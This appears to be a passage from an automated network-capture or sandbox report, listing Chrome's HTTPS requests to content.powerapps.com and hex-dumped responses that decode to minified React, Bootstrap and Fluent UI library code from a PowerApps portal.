6e 2e 5f 5f 65 73 4d 6f 64 75 6c 65 3f 6e 3a 7b 64 65 66 61 75 6c 74 3a 6e Data Ascii: ===u?"undefined":p(u))){t[s]=e({},c,u);continue}}t[s]=u}}return t},e.exports=t.default},,function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){return(0,r.default)(e)};var r=(n=n(10))&&n.__esModule?n:{default:n
2025-01-15 14:12:00 UTC	16384	IN	Data Raw: 70 28 22 22 2e 63 6f 6e 63 61 74 28 6f 2e 72 65 70 6c 61 63 65 28 2f 5b 2e 2a 2b 5c 2d 3f 5e 24 7b 7d 28 29 7c 5b 5c 5d 5c 5c 5d 2f 67 2c 22 5c 5c 24 26 22 29 2c 22 5b 2e 5d 28 5b 30 2d 39 61 2d 7a 5f 2d 5d 2b 29 28 5b 5e 7b 5d 2b 29 3f 7b 28 5b 5e 3a 5d 2b 29 3a 28 5b 5e 7d 5d 2b 29 7d 22 29 2c 22 67 69 22 29 3b 75 3d 69 2e 65 78 65 63 28 65 29 3b 29 7b 75 5b 30 5d 3b 76 61 72 20 61 3d 75 5b 31 5d 2c 73 3d 75 5b 32 5d 2c 6c 3d 75 5b 33 5d 2c 75 3d 75 5b 34 5d 3b 72 5b 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 2c 6f 29 7b 72 65 74 75 72 6e 28 34 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 6f 3f 6f 3a 22 22 29 2b 28 33 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 72 3f 72 Data Ascii: p("".concat(o.replace(/[.*+\-?^${}()\|[\]\\]/g,"\\$&"),"[.]([0-9a-z_-]+)([^{]+)?{([^:]+):([^}]+)}"),"gi");u=i.exec(e);){u[0];var a=u[1],s=u[2],l=u[3],u=u[4];r[function(e,t,n,r,o){return(4<arguments.length&&void 0!==o?o:"")+(3<arguments.length&&void 0!==r?r
2025-01-15 14:12:00 UTC	16384	IN	Data Raw: 69 67 68 74 20 61 6c 69 67 6e 6d 65 6e 74 2d 62 61 73 65 6c 69 6e 65 20 61 72 61 62 69 63 2d 66 6f 72 6d 20 62 61 73 65 6c 69 6e 65 2d 73 68 69 66 74 20 63 61 70 2d 68 65 69 67 68 74 20 63 6c 69 70 2d 70 61 74 68 20 63 6c 69 70 2d 72 75 6c 65 20 63 6f 6c 6f 72 2d 69 6e 74 65 72 70 6f 6c 61 74 69 6f 6e 20 63 6f 6c 6f 72 2d 69 6e 74 65 72 70 6f 6c 61 74 69 6f 6e 2d 66 69 6c 74 65 72 73 20 63 6f 6c 6f 72 2d 70 72 6f 66 69 6c 65 20 63 6f 6c 6f 72 2d 72 65 6e 64 65 72 69 6e 67 20 64 6f 6d 69 6e 61 6e 74 2d 62 61 73 65 6c 69 6e 65 20 65 6e 61 62 6c 65 2d 62 61 63 6b 67 72 6f 75 6e 64 20 66 69 6c 6c 2d 6f 70 61 63 69 74 79 20 66 69 6c 6c 2d 72 75 6c 65 20 66 6c 6f 6f 64 2d 63 6f 6c 6f 72 20 66 6c 6f 6f 64 2d 6f 70 61 63 69 74 79 20 66 6f 6e 74 2d 66 61 6d 69 6c Data Ascii: ight alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-famil
2025-01-15 14:12:00 UTC	16384	IN	Data Raw: 65 77 20 4d 61 70 2c 56 74 3d 5b 22 61 62 6f 72 74 22 2c 22 61 62 6f 72 74 22 2c 4b 65 2c 22 61 6e 69 6d 61 74 69 6f 6e 45 6e 64 22 2c 71 65 2c 22 61 6e 69 6d 61 74 69 6f 6e 49 74 65 72 61 74 69 6f 6e 22 2c 51 65 2c 22 61 6e 69 6d 61 74 69 6f 6e 53 74 61 72 74 22 2c 22 63 61 6e 70 6c 61 79 22 2c 22 63 61 6e 50 6c 61 79 22 2c 22 63 61 6e 70 6c 61 79 74 68 72 6f 75 67 68 22 2c 22 63 61 6e 50 6c 61 79 54 68 72 6f 75 67 68 22 2c 22 64 75 72 61 74 69 6f 6e 63 68 61 6e 67 65 22 2c 22 64 75 72 61 74 69 6f 6e 43 68 61 6e 67 65 22 2c 22 65 6d 70 74 69 65 64 22 2c 22 65 6d 70 74 69 65 64 22 2c 22 65 6e 63 72 79 70 74 65 64 22 2c 22 65 6e 63 72 79 70 74 65 64 22 2c 22 65 6e 64 65 64 22 2c 22 65 6e 64 65 64 22 2c 22 65 72 72 6f 72 22 2c 22 65 72 72 6f 72 22 2c 22 67 Data Ascii: ew Map,Vt=["abort","abort",Ke,"animationEnd",qe,"animationIteration",Qe,"animationStart","canplay","canPlay","canplaythrough","canPlayThrough","durationchange","durationChange","emptied","emptied","encrypted","encrypted","ended","ended","error","error","g
2025-01-15 14:12:00 UTC	16384	IN	Data Raw: 75 73 65 6f 76 65 72 22 3d 3d 3d 65 7c 7c 22 70 6f 69 6e 74 65 72 6f 76 65 72 22 3d 3d 3d 65 2c 61 3d 22 6d 6f 75 73 65 6f 75 74 22 3d 3d 3d 65 7c 7c 22 70 6f 69 6e 74 65 72 6f 75 74 22 3d 3d 3d 65 3b 69 66 28 69 26 26 30 3d 3d 28 33 32 26 6f 29 26 26 28 6e 2e 72 65 6c 61 74 65 64 54 61 72 67 65 74 7c 7c 6e 2e 66 72 6f 6d 45 6c 65 6d 65 6e 74 29 7c 7c 21 61 26 26 21 69 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 28 69 3d 72 2e 77 69 6e 64 6f 77 3d 3d 3d 72 3f 72 3a 28 69 3d 72 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 29 3f 69 2e 64 65 66 61 75 6c 74 56 69 65 77 7c 7c 69 2e 70 61 72 65 6e 74 57 69 6e 64 6f 77 3a 77 69 6e 64 6f 77 2c 61 29 3f 28 61 3d 74 2c 6e 75 6c 6c 21 3d 3d 28 74 3d 28 74 3d 6e 2e 72 65 6c 61 74 65 64 54 61 72 67 65 74 7c 7c 6e 2e 74 6f 45 Data Ascii: useover"===e\|\|"pointerover"===e,a="mouseout"===e\|\|"pointerout"===e;if(i&&0==(32&o)&&(n.relatedTarget\|\|n.fromElement)\|\|!a&&!i)return null;(i=r.window===r?r:(i=r.ownerDocument)?i.defaultView\|\|i.parentWindow:window,a)?(a=t,null!==(t=(t=n.relatedTarget\|\|n.toE
2025-01-15 14:12:00 UTC	16384	IN	Data Raw: 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6e 26 26 6e 75 6c 6c 21 3d 3d 6e 29 7b 73 77 69 74 63 68 28 6e 2e 24 24 74 79 70 65 6f 66 29 7b 63 61 73 65 20 65 65 3a 72 65 74 75 72 6e 20 6e 2e 6b 65 79 3d 3d 3d 6f 3f 6e 2e 74 79 70 65 3d 3d 3d 6e 65 3f 63 28 65 2c 74 2c 6e 2e 70 72 6f 70 73 2e 63 68 69 6c 64 72 65 6e 2c 72 2c 6f 29 3a 6c 28 65 2c 74 2c 6e 2c 72 29 3a 6e 75 6c 6c 3b 63 61 73 65 20 74 65 3a 72 65 74 75 72 6e 20 6e 2e 6b 65 79 3d 3d 3d 6f 3f 75 28 65 2c 74 2c 6e 2c 72 29 3a 6e 75 6c 6c 7d 69 66 28 5f 69 28 6e 29 7c 7c 6d 65 28 6e 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 3d 6f 3f 6e 75 6c 6c 3a 63 28 65 2c 74 2c 6e 2c 72 2c 6e 75 6c 6c 29 3b 50 69 28 65 2c 6e 29 7d 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 76 28 65 2c Data Ascii: bject"==typeof n&&null!==n){switch(n.$$typeof){case ee:return n.key===o?n.type===ne?c(e,t,n.props.children,r,o):l(e,t,n,r):null;case te:return n.key===o?u(e,t,n,r):null}if(_i(n)\|\|me(n))return null!==o?null:c(e,t,n,r,null);Pi(e,n)}return null}function v(e,
2025-01-15 14:12:00 UTC	16384	IN	Data Raw: 28 65 2c 74 2c 6e 2c 72 2c 69 2c 6f 29 7d 66 75 6e 63 74 69 6f 6e 20 42 61 28 65 2c 74 2c 6e 2c 72 2c 6f 2c 69 29 7b 52 61 28 65 2c 74 29 3b 76 61 72 20 61 3d 30 21 3d 28 36 34 26 74 2e 65 66 66 65 63 74 54 61 67 29 3b 69 66 28 21 72 26 26 21 61 29 72 65 74 75 72 6e 20 6f 26 26 5f 6f 28 74 2c 6e 2c 21 31 29 2c 51 61 28 65 2c 74 2c 69 29 3b 72 3d 74 2e 73 74 61 74 65 4e 6f 64 65 2c 6b 61 2e 63 75 72 72 65 6e 74 3d 74 3b 76 61 72 20 73 3d 61 26 26 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 6e 2e 67 65 74 44 65 72 69 76 65 64 53 74 61 74 65 46 72 6f 6d 45 72 72 6f 72 3f 6e 75 6c 6c 3a 72 2e 72 65 6e 64 65 72 28 29 3b 72 65 74 75 72 6e 20 74 2e 65 66 66 65 63 74 54 61 67 7c 3d 31 2c 6e 75 6c 6c 21 3d 3d 65 26 26 61 3f 28 74 2e 63 68 69 6c 64 3d Data Ascii: (e,t,n,r,i,o)}function Ba(e,t,n,r,o,i){Ra(e,t);var a=0!=(64&t.effectTag);if(!r&&!a)return o&&_o(t,n,!1),Qa(e,t,i);r=t.stateNode,ka.current=t;var s=a&&"function"!=typeof n.getDerivedStateFromError?null:r.render();return t.effectTag\|=1,null!==e&&a?(t.child=
2025-01-15 14:12:00 UTC	16384	IN	Data Raw: 6e 2c 72 29 2c 74 3d 74 2e 73 69 62 6c 69 6e 67 3b 6e 75 6c 6c 21 3d 3d 74 3b 29 65 28 74 2c 6e 2c 72 29 2c 74 3d 74 2e 73 69 62 6c 69 6e 67 7d 28 65 2c 6e 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 63 73 28 65 2c 74 2c 6e 29 7b 66 6f 72 28 76 61 72 20 72 2c 6f 2c 69 3d 74 2c 61 3d 21 31 3b 3b 29 7b 69 66 28 21 61 29 7b 61 3d 69 2e 72 65 74 75 72 6e 3b 65 3a 66 6f 72 28 3b 3b 29 7b 69 66 28 6e 75 6c 6c 3d 3d 3d 61 29 74 68 72 6f 77 20 45 72 72 6f 72 28 77 28 31 36 30 29 29 3b 73 77 69 74 63 68 28 72 3d 61 2e 73 74 61 74 65 4e 6f 64 65 2c 61 2e 74 61 67 29 7b 63 61 73 65 20 35 3a 6f 3d 21 31 3b 62 72 65 61 6b 20 65 3b 63 61 73 65 20 33 3a 63 61 73 65 20 34 3a 72 3d 72 2e 63 6f 6e 74 61 69 6e 65 72 49 6e 66 6f 2c 6f 3d 21 30 3b 62 72 65 61 6b 20 65 7d 61 3d 61 Data Ascii: n,r),t=t.sibling;null!==t;)e(t,n,r),t=t.sibling}(e,n,t)}function cs(e,t,n){for(var r,o,i=t,a=!1;;){if(!a){a=i.return;e:for(;;){if(null===a)throw Error(w(160));switch(r=a.stateNode,a.tag){case 5:o=!1;break e;case 3:case 4:r=r.containerInfo,o=!0;break e}a=a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49797	13.107.253.45	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:00 UTC	417	OUT	GET /resource/powerappsportal/dist/bootstrap.BootstrapV5.bundle-be8391e97d.js HTTP/1.1 Host: content.powerapps.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:00 UTC	853	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:12:00 GMT Content-Type: application/x-javascript Content-Length: 92085 Connection: close Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000 Strict-Transport-Security: max-age=31536000; includeSubDomains x-ms-islandgateway: GA000005M x-ms-static-content: ze000001A Timing-Allow-Origin: * X-ServiceFabric: NoRetry x-ms-service-request-id: 6de70faf-183c-4096-8457-b418cce7f6bd x-ms-correlation-id: 65f32ffc-0a37-437e-9363-a6e39a47939d x-ms-activity-vector: 00.01.00 Server-Timing: x-ms-igw-upstream-headers;dur=10.8,x-ms-igw-req-overhead;dur=0.4 X-Content-Type-Options: nosniff x-azure-ref: 20250115T141200Z-1848b945c76q7864hC1MNZgya800000001c00000000028p6 X-Cache: TCP_REMOTE_HIT x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 Accept-Ranges: bytes
2025-01-15 14:12:00 UTC	15531	IN	Data Raw: 2f 2a 21 0d 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 35 2e 32 2e 32 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0d 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 32 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0d 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 69 6e 2f 4c 49 43 45 4e 53 45 29 0d 0a 20 20 2a 2f 0d 0a 21 66 75 6e 63 74 69 6f 6e 20 28 74 2c Data Ascii: /! Bootstrap v5.2.2 (https://getbootstrap.com/) * Copyright 2011-2022 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) */!function (t,
2025-01-15 14:12:00 UTC	16384	IN	Data Raw: 5f 65 6c 65 6d 65 6e 74 2c 20 65 74 2c 20 28 28 29 20 3d 3e 20 74 68 69 73 2e 63 79 63 6c 65 28 29 29 29 20 3a 20 74 68 69 73 2e 63 79 63 6c 65 28 29 29 20 7d 20 74 6f 28 74 29 20 7b 20 63 6f 6e 73 74 20 65 20 3d 20 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 73 28 29 3b 20 69 66 20 28 74 20 3e 20 65 2e 6c 65 6e 67 74 68 20 2d 20 31 20 7c 7c 20 74 20 3c 20 30 29 20 72 65 74 75 72 6e 3b 20 69 66 20 28 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 29 20 72 65 74 75 72 6e 20 76 6f 69 64 20 50 2e 6f 6e 65 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2c 20 65 74 2c 20 28 28 29 20 3d 3e 20 74 68 69 73 2e 74 6f 28 74 29 29 29 3b 20 63 6f 6e 73 74 20 69 20 3d 20 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 68 69 73 2e 5f 67 65 74 41 63 74 69 76 65 28 29 29 Data Ascii: _element, et, (() => this.cycle())) : this.cycle()) } to(t) { const e = this._getItems(); if (t > e.length - 1 \|\| t < 0) return; if (this._isSliding) return void P.one(this._element, et, (() => this.to(t))); const i = this._getItemIndex(this._getActive())
2025-01-15 14:12:00 UTC	16384	IN	Data Raw: 6f 70 74 69 6f 6e 73 2e 73 74 72 61 74 65 67 79 20 7d 3b 20 6e 75 6c 6c 20 21 3d 20 65 2e 6d 6f 64 69 66 69 65 72 73 44 61 74 61 2e 70 6f 70 70 65 72 4f 66 66 73 65 74 73 20 26 26 20 28 65 2e 73 74 79 6c 65 73 2e 70 6f 70 70 65 72 20 3d 20 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 7d 2c 20 65 2e 73 74 79 6c 65 73 2e 70 6f 70 70 65 72 2c 20 66 65 28 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 7d 2c 20 63 2c 20 7b 20 6f 66 66 73 65 74 73 3a 20 65 2e 6d 6f 64 69 66 69 65 72 73 44 61 74 61 2e 70 6f 70 70 65 72 4f 66 66 73 65 74 73 2c 20 70 6f 73 69 74 69 6f 6e 3a 20 65 2e 6f 70 74 69 6f 6e 73 2e 73 74 72 61 74 65 67 79 2c 20 61 64 61 70 74 69 76 65 3a 20 72 2c 20 72 6f 75 6e 64 4f 66 66 73 65 74 73 3a 20 6c 20 7d 29 29 29 29 2c 20 6e 75 6c 6c 20 21 3d 20 Data Ascii: options.strategy }; null != e.modifiersData.popperOffsets && (e.styles.popper = Object.assign({}, e.styles.popper, fe(Object.assign({}, c, { offsets: e.modifiersData.popperOffsets, position: e.options.strategy, adaptive: r, roundOffsets: l })))), null !=
2025-01-15 14:12:00 UTC	16384	IN	Data Raw: 74 2c 20 76 69 65 77 70 6f 72 74 3a 20 54 74 2c 20 70 6f 70 70 65 72 3a 20 43 74 2c 20 72 65 66 65 72 65 6e 63 65 3a 20 4f 74 2c 20 76 61 72 69 61 74 69 6f 6e 50 6c 61 63 65 6d 65 6e 74 73 3a 20 78 74 2c 20 70 6c 61 63 65 6d 65 6e 74 73 3a 20 6b 74 2c 20 62 65 66 6f 72 65 52 65 61 64 3a 20 4c 74 2c 20 72 65 61 64 3a 20 44 74 2c 20 61 66 74 65 72 52 65 61 64 3a 20 53 74 2c 20 62 65 66 6f 72 65 4d 61 69 6e 3a 20 49 74 2c 20 6d 61 69 6e 3a 20 4e 74 2c 20 61 66 74 65 72 4d 61 69 6e 3a 20 50 74 2c 20 62 65 66 6f 72 65 57 72 69 74 65 3a 20 6a 74 2c 20 77 72 69 74 65 3a 20 4d 74 2c 20 61 66 74 65 72 57 72 69 74 65 3a 20 48 74 2c 20 6d 6f 64 69 66 69 65 72 50 68 61 73 65 73 3a 20 24 74 2c 20 61 70 70 6c 79 53 74 79 6c 65 73 3a 20 52 74 2c 20 61 72 72 6f 77 3a 20 Data Ascii: t, viewport: Tt, popper: Ct, reference: Ot, variationPlacements: xt, placements: kt, beforeRead: Lt, read: Dt, afterRead: St, beforeMain: It, main: Nt, afterMain: Pt, beforeWrite: jt, write: Mt, afterWrite: Ht, modifierPhases: $t, applyStyles: Rt, arrow:
2025-01-15 14:12:00 UTC	16384	IN	Data Raw: 64 73 20 7a 20 7b 20 63 6f 6e 73 74 72 75 63 74 6f 72 28 74 2c 20 65 29 20 7b 20 73 75 70 65 72 28 74 2c 20 65 29 2c 20 74 68 69 73 2e 5f 69 73 53 68 6f 77 6e 20 3d 20 21 31 2c 20 74 68 69 73 2e 5f 62 61 63 6b 64 72 6f 70 20 3d 20 74 68 69 73 2e 5f 69 6e 69 74 69 61 6c 69 7a 65 42 61 63 6b 44 72 6f 70 28 29 2c 20 74 68 69 73 2e 5f 66 6f 63 75 73 74 72 61 70 20 3d 20 74 68 69 73 2e 5f 69 6e 69 74 69 61 6c 69 7a 65 46 6f 63 75 73 54 72 61 70 28 29 2c 20 74 68 69 73 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 20 7d 20 73 74 61 74 69 63 20 67 65 74 20 44 65 66 61 75 6c 74 28 29 20 7b 20 72 65 74 75 72 6e 20 42 69 20 7d 20 73 74 61 74 69 63 20 67 65 74 20 44 65 66 61 75 6c 74 54 79 70 65 28 29 20 7b 20 72 65 74 75 72 6e 20 46 69 20 7d 20 73 Data Ascii: ds z { constructor(t, e) { super(t, e), this._isShown = !1, this._backdrop = this._initializeBackDrop(), this._focustrap = this._initializeFocusTrap(), this._addEventListeners() } static get Default() { return Bi } static get DefaultType() { return Fi } s
2025-01-15 14:12:00 UTC	11018	IN	Data Raw: 64 6e 20 7d 20 73 74 61 74 69 63 20 67 65 74 20 4e 41 4d 45 28 29 20 7b 20 72 65 74 75 72 6e 20 22 70 6f 70 6f 76 65 72 22 20 7d 20 5f 69 73 57 69 74 68 43 6f 6e 74 65 6e 74 28 29 20 7b 20 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 67 65 74 54 69 74 6c 65 28 29 20 7c 7c 20 74 68 69 73 2e 5f 67 65 74 43 6f 6e 74 65 6e 74 28 29 20 7d 20 5f 67 65 74 43 6f 6e 74 65 6e 74 46 6f 72 54 65 6d 70 6c 61 74 65 28 29 20 7b 20 72 65 74 75 72 6e 20 7b 20 22 2e 70 6f 70 6f 76 65 72 2d 68 65 61 64 65 72 22 3a 20 74 68 69 73 2e 5f 67 65 74 54 69 74 6c 65 28 29 2c 20 22 2e 70 6f 70 6f 76 65 72 2d 62 6f 64 79 22 3a 20 74 68 69 73 2e 5f 67 65 74 43 6f 6e 74 65 6e 74 28 29 20 7d 20 7d 20 5f 67 65 74 43 6f 6e 74 65 6e 74 28 29 20 7b 20 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 72 65 Data Ascii: dn } static get NAME() { return "popover" } _isWithContent() { return this._getTitle() \|\| this._getContent() } _getContentForTemplate() { return { ".popover-header": this._getTitle(), ".popover-body": this._getContent() } } _getContent() { return this._re

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49801	13.107.253.45	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:00 UTC	408	OUT	GET /resource/powerappsportal/dist/pcf-extended.bundle-e303d53553.js HTTP/1.1 Host: content.powerapps.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:01 UTC	827	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:12:00 GMT Content-Type: application/x-javascript Content-Length: 977847 Connection: close Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000 Strict-Transport-Security: max-age=31536000; includeSubDomains x-ms-islandgateway: GA000000X x-ms-static-content: ze000006O Timing-Allow-Origin: * X-ServiceFabric: NoRetry x-ms-service-request-id: c0790bb3-6a9f-4cc7-a583-640bcfac09c3 x-ms-correlation-id: fce72afe-416f-4d04-822c-9cfe6321d9a5 x-ms-activity-vector: 00.01.00 Server-Timing: x-ms-igw-upstream-headers;dur=45.6,x-ms-igw-req-overhead;dur=0.3 X-Content-Type-Options: nosniff x-azure-ref: 20250115T141200Z-17f859c6f6bmspknhC1MNZz6rc00000000pg000000009193 X-Cache: TCP_MISS x-fd-int-roxy-purgeid: 0 Accept-Ranges: bytes
2025-01-15 14:12:01 UTC	15557	IN	Data Raw: 76 61 72 20 5f 5f 61 73 73 69 67 6e 3d 74 68 69 73 26 26 74 68 69 73 2e 5f 5f 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 28 5f 5f 61 73 73 69 67 6e 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 3d 31 2c 6f 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6e 3c 6f 3b 6e 2b 2b 29 66 6f 72 28 76 61 72 20 72 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 5b 6e 5d 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 74 2c 72 29 26 26 28 65 5b 72 5d 3d 74 5b 72 5d 29 3b 72 65 74 75 72 6e 20 65 7d 29 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 3b 21 66 75 6e 63 74 69 6f 6e Data Ascii: var __assign=this&&this.__assign\|\|function(){return(__assign=Object.assign\|\|function(e){for(var t,n=1,o=arguments.length;n<o;n++)for(var r in t=arguments[n])Object.prototype.hasOwnProperty.call(t,r)&&(e[r]=t[r]);return e}).apply(this,arguments)};!function
2025-01-15 14:12:01 UTC	16384	IN	Data Raw: 2e 73 75 70 70 6f 72 74 4d 65 64 69 61 52 75 6c 65 73 5b 74 5d 3d 7b 7d 29 2c 65 2e 73 75 70 70 6f 72 74 4d 65 64 69 61 52 75 6c 65 73 5b 74 5d 5b 72 5d 7c 7c 28 65 2e 73 75 70 70 6f 72 74 4d 65 64 69 61 52 75 6c 65 73 5b 74 5d 5b 72 5d 3d 22 22 29 2c 65 2e 73 75 70 70 6f 72 74 4d 65 64 69 61 52 75 6c 65 73 5b 74 5d 5b 72 5d 2b 3d 6f 29 3a 28 65 2e 73 75 70 70 6f 72 74 52 75 6c 65 73 5b 72 5d 7c 7c 28 65 2e 73 75 70 70 6f 72 74 52 75 6c 65 73 5b 72 5d 3d 22 22 29 2c 65 2e 73 75 70 70 6f 72 74 52 75 6c 65 73 5b 72 5d 2b 3d 6f 29 3a 74 3f 28 65 2e 6d 65 64 69 61 52 75 6c 65 73 5b 74 5d 7c 7c 28 65 2e 6d 65 64 69 61 52 75 6c 65 73 5b 74 5d 3d 22 22 29 2c 65 2e 6d 65 64 69 61 52 75 6c 65 73 5b 74 5d 2b 3d 6f 29 3a 65 2e 72 75 6c 65 73 2b 3d 6f 7d 29 2c 65 65 Data Ascii: .supportMediaRules[t]={}),e.supportMediaRules[t][r]\|\|(e.supportMediaRules[t][r]=""),e.supportMediaRules[t][r]+=o):(e.supportRules[r]\|\|(e.supportRules[r]=""),e.supportRules[r]+=o):t?(e.mediaRules[t]\|\|(e.mediaRules[t]=""),e.mediaRules[t]+=o):e.rules+=o}),ee
2025-01-15 14:12:01 UTC	16384	IN	Data Raw: 6f 6e 74 53 69 7a 65 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 4b 65 7d 2c 46 6f 6e 74 57 65 69 67 68 74 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 55 65 7d 2c 47 6c 6f 62 61 6c 53 65 74 74 69 6e 67 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 79 74 7d 2c 47 72 6f 75 70 46 6f 6f 74 65 72 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 43 62 7d 2c 47 72 6f 75 70 48 65 61 64 65 72 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6d 62 7d 2c 47 72 6f 75 70 53 68 6f 77 41 6c 6c 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 76 62 7d 2c 47 72 6f 75 70 53 70 61 63 65 72 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 76 7d 2c 47 72 6f 75 70 65 64 4c 69 73 74 3a 66 75 6e 63 Data Ascii: ontSizes:function(){return Ke},FontWeights:function(){return Ue},GlobalSettings:function(){return yt},GroupFooter:function(){return Cb},GroupHeader:function(){return mb},GroupShowAll:function(){return vb},GroupSpacer:function(){return bv},GroupedList:func
2025-01-15 14:12:01 UTC	16384	IN	Data Raw: 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 4d 6c 7d 2c 70 72 65 63 69 73 69 6f 6e 52 6f 75 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 55 53 7d 2c 70 72 65 73 65 6e 63 65 42 6f 6f 6c 65 61 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6c 69 7d 2c 72 61 69 73 65 43 6c 69 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 47 61 7d 2c 72 65 67 69 73 74 65 72 44 65 66 61 75 6c 74 46 6f 6e 74 46 61 63 65 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 74 7d 2c 72 65 67 69 73 74 65 72 49 63 6f 6e 41 6c 69 61 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 67 6f 7d 2c 72 65 67 69 73 74 65 72 49 63 6f 6e 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6d 6f 7d Data Ascii: nt:function(){return Ml},precisionRound:function(){return US},presenceBoolean:function(){return li},raiseClick:function(){return Ga},registerDefaultFontFaces:function(){return ft},registerIconAlias:function(){return go},registerIcons:function(){return mo}
